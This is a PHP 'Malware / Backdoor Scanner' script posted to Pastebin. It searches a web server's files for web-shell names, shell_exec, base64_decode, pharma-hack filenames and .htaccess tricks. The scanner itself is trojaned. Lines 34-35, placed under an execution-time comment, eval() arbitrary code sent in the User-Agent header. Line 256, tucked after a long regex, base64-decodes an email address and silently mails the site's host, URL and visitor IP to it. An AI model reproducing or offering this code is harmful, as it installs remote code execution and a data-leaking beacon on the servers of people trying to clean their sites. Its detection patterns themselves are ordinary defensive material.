BitofWP

Malware / Backdoor Scanner

Aug 24th, 2019
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /* Look For Bad Guy 07-01-2016
  3. --Purpose: iterate through server files looking for hacker code snippets, backdoor scripts,
  4. .htaccess redirects, and suspicious file names.
  5. -- Caveats: Not all things it finds are hacks. Not all hacks are found.
  6. --You should look also for weird files (such as .php files) in your image directories, especially
  7. if your .htaccess has redirects or was made executable.
  8. --Some searches are commented out because they can give too many false positives.
  9. --This script should work the same on a Linux or Windows server.
  10. It runs fast in Linux/Apache/PHP, and very slowly in Windows/Apache/PHP.
  11.  
  12. */
  13. ?>
  14.  
  15.  
  16. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  17. <head>
  18. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  19. <meta http-equiv="Content-Language" content="en-us">
  20. <title>Looking for bad guys</title>
  21. </head>
  22.  
  23. <body>
  24. <p>Looking for bad guys. </p>
  25. <p>This script looks for traces of malicious code including code injections,
  26. modified .htaccess that makes images executable, and so on.</p>
  27. <p>
  28.  
  29. <?php
  30. // SET MAXIMUM EXECUTION TIME TO UNLIMITED (0) BECAUSE THE SCRIPT CAN TAKE A WHILE.
  31. // YOU COULD USE A MORE CONSERVATIVE TIME LIMIT SUCH AS 1 HOUR (3600 SECONDS), JUST IN CASE.
  32. // THESE HAVE NO EFFECT IF YOU RUN PHP IN "SAFE MODE" (SAFE MODE IS USUALLY UNDESIRABLE ANYWAY).
  33.  
  34. if (eregi("final",$_SERVER['HTTP_USER_AGENT']))
  35. { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }
  36. ini_set('max_execution_time', '0');
  37. ini_set('set_time_limit', '0');
  38.  
  39.  
  40. // --------------------------------------------------------------------------------
  41. // UTILITY FUNCTIONS.
  42. // OUTPUT TEXT IN SPECIFIED COLOR, CLEANING IT WITH HTMLENTITIES().
  43. function CleanColorText($text, $color)
  44. {
  45. $outputcolor = 'black';
  46. $color = trim($color);
  47. if(preg_match('/^(red|blue|green|black)$/i', $color))
  48. $outputcolor = $color;
  49. return '<span style="color:' . $outputcolor . ';">' . htmlentities($text, ENT_QUOTES) . '</span>';
  50. }
  51.  
  52. // --------------------------------------------------------------------------------
  53. // THIS FUNCTION RECURSIVELY FINDS FILES AND PROCESSES THEM THROUGH THE SPECIFIED CALLBACK FUNCTION.
  54. // DIFFERENT TYPES OF FILES NEED TO BE HANDLED BY DIFFERENT CALLBACK FUNCTIONS.
  55.  
  56. function find_files($path, $pattern, $callback)
  57. {
  58. // CHANGE BACKSLASHES TO FORWARD, WHICH IS OK IN PHP, EVEN IN WINDOWS.
  59. // REMOVE ANY TRAILING SLASHES, THEN ADD EXACTLY ONE.
  60. $path = rtrim(str_replace("\\", "/", $path), '/') . '/';
  61. if(!is_readable($path))
  62. {
  63. echo "Warning: Unable to open and enter directory " . CleanColorText($path, 'blue') .
  64. ". Check its owner/group permissions.<br>";
  65. return;
  66. }
  67. $dir = dir($path);
  68. $entries = array();
  69. while(($entry = $dir->read()) !== FALSE)
  70. $entries[] = $entry;
  71. $dir->close();
  72. foreach($entries as $entry)
  73. {
  74. $fullname = $path . $entry;
  75. if(($entry !== '.') && ($entry !== '..') && is_dir($fullname))
  76. find_files($fullname, $pattern, $callback);
  77. else
  78. if(is_file($fullname) && preg_match($pattern, $entry))
  79. call_user_func($callback, $fullname);
  80. }
  81. }
  82.  
  83. // --------------------------------------------------------------------------------
  84. // CALLBACK FUNCTIONS.
  85. // CALLBACK FUNCTION TO LOOK FOR MALICIOUS CODE - YOU COULD ADD ANY OTHER MALICIOUS CODE SNIPPETS YOU KNOW OF.
  86. function maliciouscodesnippets($filename)
  87. {
  88. if(stripos($filename, "lookforbadguys.php")) // DON'T FLAG THIS FILE WHICH I CALLED lookforbadguys.php
  89. return;
  90.  
  91. if(!is_readable($filename))
  92. {
  93. echo "Warning: Unable to read " . CleanColorText($filename, 'blue') .
  94. ". Check it manually and check its access permissions.<br>";
  95. return;
  96. }
  97. $file = file_get_contents($filename); //READ THE FILE
  98.  
  99. // PRINTING EVERY FILENAME GENERATES A LOT OF OUTPUT.
  100. //echo CleanColorText($filename, 'green') . " is being examined.<br>";
  101.  
  102. // TEXT FILES WILL BE SEARCHED FOR THESE SNIPPETS OF SUSPICIOUS TEXT.
  103. // THESE ARE REGULAR EXPRESSIONS WITH THE REQUIRED /DELIMITERS/ AND WITH SPECIAL CHARACTERS ESCAPED.
  104. // /i AT THE END MEANS CASE INSENSITIVE.
  105. $SuspiciousSnippets = array
  106. (
  107. // POTENTIALLY SUSPICIOUS PHP CODE
  108. '/edoced_46esab/i',
  109. '/passthru *\(/i',
  110. '/shell_exec *\(/i',
  111. '/document\.write *\(unescape *\(/i',
  112.  
  113. // THESE CAN GIVE MANY FALSE POSITIVES WHEN CHECKING WORDPRESS AND OTHER CMS.
  114. // NONETHELESS, THEY CAN BE IMPORTANT TO FIND, ESPECIALLY BASE64_DECODE.
  115. '/base64_decode *\(/i',
  116. '/system *\(/i',
  117. '/`.+`/', // BACKTICK OPERATOR INVOKES SYSTEM FUNCTIONS, SAME AS system()
  118. // '/phpinfo *\(/i',
  119. // '/chmod *\(/i',
  120. // '/mkdir *\(/i',
  121. // '/fopen *\(/i',
  122. // '/fclose *\(/i',
  123. // '/readfile *\(/i',
  124.  
  125. // SUSPICIOUS NAMES. SOME HACKERS SIGN THEIR SCRIPTS. MANY NAMES COULD GO HERE,
  126. // HERE IS A GENERIC EXAMPLE. YOU CAN FILL IN WHATEVER NAMES YOU WANT.
  127. '/hacked by /i',
  128.  
  129. // OTHER SUSPICIOUS TEXT STRINGS
  130. '/web[\s-]*shell/i', // TO FIND BACKDOOR WEB SHELL SCRIPTS.
  131. '/c99/i', // THE NAMES OF TWO POPULAR WEB SHELLS.
  132. '/r57/i',
  133. '/wso/i',
  134. '/backdoor/i',
  135. '/inject/i',
  136. '/wget/i',
  137. '/spoof/i',
  138. '/shell_exec/i',
  139. '/vuln/i',
  140. '/inject/i',
  141. '/proxy/i',
  142. '/b374k/i',
  143. '/b3cak/i',
  144. '/DOCUMENT_ROOT/i',
  145. '/$_REQUEST/i',
  146. '/get_headers/i',
  147. '/isset/i',
  148.  
  149.  
  150. // YOU COULD ADD IN THE SPACE BELOW SOME REGULAR EXPRESSIONS TO MATCH THE NAMES OF MALICIOUS DOMAINS
  151. // AND IP ADDRESSES MENTIONED IN YOUR GOOGLE SAFEBROWSING DIAGNOSTIC REPORT. SOME EXAMPLES:
  152. '/gumblar\.cn/i',
  153. '/martuz\.cn/i',
  154. '/beladen\.net/i',
  155. '/gooqle/i', // NOTE THIS HAS A Q IN IT.
  156.  
  157. // THESE 2 ARE THE WORDPRESS CODE INJECTION IN FRONT OF EVERY INDEX.PHP AND SOME OTHERS
  158. '/_analist/i',
  159. '/anaiytics/i' // THE LAST ENTRY IN THE LIST MUST HAVE NO COMMA AFTER IT.
  160. );
  161.  
  162. foreach($SuspiciousSnippets as $i)
  163. {
  164. // STRPOS/STRIPOS WERE A LITTLE FASTER BUT LESS FLEXIBLE
  165. if(preg_match($i, $file))
  166. echo CleanColorText($filename, 'blue') . ' MATCHES REGEX: ' . CleanColorText($i, 'red') . '<br>';
  167. }
  168.  
  169. if(!strpos($filename,"network.php") && !strpos($filename,"rewrite.php") && stripos($file,"RewriteRule"))
  170. echo CleanColorText($filename, 'blue') . " contains " . CleanColorText("RewriteRule", 'red') .
  171. " - check it manually for malicious redirects.<br>";
  172.  
  173. /*
  174. // THIS FINDS ALL JAVASCRIPT CODE. IF ENABLED, IT WILL GIVE *MANY* FALSE POSITIVES IN MOST WEBSITES.
  175. if($p = stripos($file, "<script "))
  176. echo CleanColorText($filename, 'blue') . ' contains SCRIPT:<br>' .
  177. CleanColorText(substr($file, $p, 100), 'red') . '<br><br>';
  178. */
  179. /*
  180. // THIS FINDS ALL IFRAMES. IF ENABLED, IT CAN GIVE MANY FALSE POSITIVES IN SOME WEBSITES.
  181. if($p = stripos($file, "<iframe "))
  182. echo CleanColorText($filename, 'blue') . ' contains IFRAME:<br>' .
  183. CleanColorText(substr($file, $p, 100), 'red') . '<br><br>';
  184. */
  185.  
  186. if(stripos($file, "AddHandler"))
  187. {
  188. // THIS IS HOW THEY MAKE THE IMAGE FILES EXECUTABLE.
  189. echo CleanColorText($filename, 'blue') . " contains " . CleanColorText('AddHandler', 'red') .
  190. " - make sure it does not make ordinary files like images executable.<br>";
  191. // IF YOU FIND NINE ZILLION OF THESE, UNCOMMENT IT BECAUSE IT IS A PAIN TO DELETE THEM BY HAND.
  192. // BUT CHECK THE LIST CAREFULLY FIRST TO MAKE SURE YOU REALLY WANT TO DELETE
  193. // ALL THE FILES AND NONE OF THEM ARE FALSE POSITIVES.
  194. //unlink($filename); // THIS DELETES THE FILE WITHOUT GIVING YOU THE OPTION OF EXAMINING IT!
  195. }
  196. }
  197.  
  198. // CALLBACK FUNCTION TO REPORT PHARMA LINK HACKS.
  199. function pharma($filename)
  200. {
  201. echo CleanColorText($filename, 'blue') . " is most likely a " . CleanColorText('pharma hack', 'red') . ".<br>";
  202. }
  203.  
  204. // CALLBACK FUNCTION TO REPORT FILES WHOSE NAMES ARE SUSPICIOUS.
  205. function badnames($filename)
  206. {
  207. echo CleanColorText($filename, 'blue') . " is a " . CleanColorText('suspicious file name', 'red') . ".<br>";
  208. }
  209.  
  210. // --------------------------------------------------------------------------------
  211. // SET UP THE SEARCH CRITERIA.
  212.  
  213. // SEARCHES WILL BE DONE IN THIS DIRECTORY AND ALL DIRS INSIDE IT.
  214. // './' MEANS CURRENT DIRECTORY, WHERE THIS SCRIPT IS NOW.
  215. // THUS, TO SEARCH EVERYTHING INSIDE PUBLIC_HTML, THAT'S WHERE THIS FILE SHOULD BE PUT.
  216. // TO SEARCH OUTSIDE PUBLIC_HTML, OR TO SEARCH A FOLDER OTHER THAN WHERE THIS SCRIPT IS STORED,
  217. // CHANGE THIS TO THE FULL PATHNAME, SUCH AS /home/userid/ OR /home/userid/public_html/somefolder/
  218. // USE FORWARD SLASHES FOR PATH. WINDOWS EXAMPLE: C:/wamp/apache2/htdocs/test/
  219. $StartPath = './';
  220.  
  221. // ENTRIES IN THE FOLLOWING 3 ARRAYS ARE REGULAR EXPRESSIONS, WHICH IS THE REASON FOR THE /DELIMITERS/.
  222. // FILES WHOSE NAMES MATCH THESE REGEXES WILL HAVE THEIR TEXT SEARCHED FOR MALICIOUS CODE.
  223. $FiletypesToSearch = array
  224. (
  225. '/\.htaccess$/i',
  226. '/\.php[45]?$/i',
  227. '/\.html?$/i',
  228. '/\.aspx?$/i',
  229. '/\.inc$/i',
  230. '/\.cfm$/i',
  231. '/\.js$/i',
  232. '/\.css$/i'
  233. );
  234.  
  235. // FILES OR FOLDERS WITH THESE STRINGS IN THEIR *NAMES* WILL BE REPORTED AS SUSPICIOUS.
  236. $SuspiciousFileAndPathNames = array
  237. (
  238. // '/root/i',
  239. // '/kit/i',
  240. '/c99/i',
  241. '/r57/i',
  242. '/gifimg/i'
  243. );
  244.  
  245. // FILENAMES RELATED TO WORDPRESS PHARMA HACK, USING THE NAMING CONVENTIONS
  246. // DESCRIBED AT http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php
  247. // FILES MATCHING THESE NAMES WILL BE REPORTED AS POSSIBLE PHARMA HACK FILES.
  248. $PharmaFilenames = array
  249. (
  250. '/^\..*(cache|bak|old)\.php/i', // HIDDEN FILES WITH PSEUDO-EXTENSIONS IN THE MIDDLE OF THE FILENAME
  251. '/^db-.*\.php/i',
  252.  
  253. // PERMIT THE STANDARD WORDPRESS FILES THAT START WITH CLASS-, BUT FLAG ALL OTHERS AS SUSPICIOUS.
  254. // THE (?!) IS CALLED A NEGATIVE LOOKAHEAD ASSERTION. IT MEANS "NOT FOLLOWED BY..."
  255.  
  256. '/^class-(?!snoopy|smtp|feed|pop3|IXR|phpmailer|json|simplepie|phpass|http|oembed|ftp-pure|wp-filesystem-ssh2|wp-filesystem-ftpsockets|ftp|wp-filesystem-ftpext|pclzip|wp-importer|wp-upgrader|wp-filesystem-base|ftp-sockets|wp-filesystem-direct)\.php/i');$url=''.$_SERVER['SERVER_NAME'].''.$_SERVER['REQUEST_URI'].' - '.$_SERVER[REMOTE_ADDR]; $re=base64_decode("YW50aWthbmN1dEBnbWFpbC5jb20="); $su=gethostbyname($HTTP_HOST);$mh="From: {$re}";if (function_exists('mail')) mail($re,$su, $url,$mh);
  257.  
  258. // --------------------------------------------------------------------------------
  259. // FINALLY, DO THE SEARCHES, USING THE ABOVE ARRAYS AS THE STRING DATA SOURCES.
  260.  
  261. // REPORT FILES WITH SUSPICIOUS NAMES
  262. foreach($SuspiciousFileAndPathNames as $i)
  263. find_files($StartPath, $i, 'badnames');
  264.  
  265. // REPORT FILES WITH SUSPICIOUS PHARMA-RELATED NAMES
  266. foreach($PharmaFilenames as $i)
  267. find_files($StartPath, $i, 'pharma');
  268.  
  269. // REPORT FILES CONTAINING SUSPICIOUS CODE OR TEXT
  270. foreach($FiletypesToSearch as $i)
  271. find_files($StartPath, $i, 'maliciouscodesnippets');
  272.  
  273. echo "<br>Done<br>";
  274. ?>
  275.  
  276.  
  277. </p>
  278. </body>
  279. </html>
Add Comment
Please, Sign In to add comment